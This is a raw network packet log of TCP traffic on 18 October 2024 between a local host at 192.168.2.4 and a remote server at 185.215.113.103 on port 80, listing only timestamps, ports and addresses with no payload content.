Oct 18, 2024 15:05:02.580280066 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580281019 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580291986 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580295086 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580302954 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580317020 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580324888 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580328941 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580352068 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580643892 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580655098 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580666065 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580688953 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580701113 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580728054 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580739021 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580749989 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580761909 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580768108 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.580773115 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.580796957 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.649429083 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.649447918 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.649467945 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.649481058 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.649486065 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.649492025 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.649522066 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.649534941 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.734807968 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734833956 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734843969 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734884024 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734895945 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734889030 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.734901905 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734925032 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734939098 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734952927 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734965086 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734966040 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.734977961 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734991074 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.734997988 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735023022 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735028028 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735039949 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735044956 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735050917 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735069036 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735075951 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735089064 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735105038 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735109091 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735125065 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735130072 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735140085 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735152960 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735162973 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735204935 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735214949 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735218048 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735229015 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735239983 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735251904 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735282898 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735326052 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735337973 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735348940 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735402107 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735411882 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735414028 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735440016 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735447884 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735461950 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735493898 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735503912 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735507965 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735521078 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735538960 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735570908 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735662937 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735682011 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735693932 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735704899 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735718012 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735723972 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735729933 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735739946 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735768080 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735768080 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735780954 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735793114 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735805988 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735819101 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735848904 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735850096 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735907078 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735919952 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735930920 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735943079 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735948086 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.735955954 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.735970020 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736001968 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736035109 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736047983 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736059904 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736084938 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736129045 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736141920 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736154079 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736166000 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736166000 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736179113 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736191034 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736215115 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736255884 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736310005 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736330986 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736344099 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736349106 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736355066 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736378908 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736407995 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736435890 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736445904 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736449003 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736481905 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736521006 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736534119 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736543894 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736557007 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736569881 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736572981 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736582994 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736598015 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736612082 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736619949 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736692905 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736705065 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736716986 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736732006 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736757994 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736758947 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736773968 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736810923 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736892939 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736906052 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736917019 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736941099 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736943960 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736953974 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736967087 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736979008 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.736979961 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.736990929 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737009048 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737039089 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737067938 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737081051 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737095118 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737108946 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737119913 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737137079 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737147093 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737188101 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737200975 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737211943 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737226009 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737257004 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737324953 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737337112 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737348080 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737390995 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737412930 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737426996 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737437010 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737452030 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737464905 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737473011 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737485886 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737487078 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737498045 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737514973 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737540007 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737585068 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737605095 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737617970 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737659931 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737732887 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737745047 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737756014 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737767935 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737771034 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737780094 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737804890 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737837076 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737848043 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737911940 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737925053 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737971067 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737978935 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.737981081 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.737993956 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738008022 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738022089 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738040924 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738054037 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738061905 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738097906 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738097906 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738154888 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738167048 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738178015 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738204002 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738212109 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738224030 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738238096 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738250971 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738261938 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738291025 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738341093 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738353014 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738363981 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738374949 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738382101 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738411903 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738415003 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738429070 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738449097 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738459110 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738477945 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738590956 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738604069 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738620996 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738620996 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738646030 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738658905 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738663912 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738671064 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738682032 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738694906 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738711119 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738734961 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738750935 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738766909 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738809109 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738898039 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738912106 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738949060 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.738970995 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738982916 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.738995075 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739007950 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739021063 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739022017 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739047050 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739105940 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739118099 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739130020 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739142895 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739146948 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739156008 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739167929 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739171028 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739187002 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739197016 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739200115 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739212036 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739227057 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739250898 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739414930 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739427090 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739439011 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739464045 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739475965 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739487886 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739500046 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739515066 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739526033 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739553928 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739566088 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739578009 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739588022 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739603043 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739609957 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739617109 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739629030 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739660978 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739698887 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739810944 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739824057 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739850044 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739855051 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739864111 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739892006 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.739938021 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739955902 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739968061 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739980936 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.739988089 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.740016937 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.740994930 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.741017103 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.741044044 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.774801970 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.774813890 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.774825096 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.774840117 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.774852037 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.774851084 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.774863005 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.774873972 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.774878979 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.774889946 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.774909019 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.893568039 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.893708944 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.893722057 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.893733978 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.893752098 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.893767118 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:02.893780947 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.893781900 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:02.893870115 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:03.110547066 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:03.213869095 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:03.446537971 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:03.449004889 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:03.926525116 CEST	80	50052	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:03.926578045 CEST	50052	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:04.854466915 CEST	80	50052	185.215.113.103	192.168.2.4
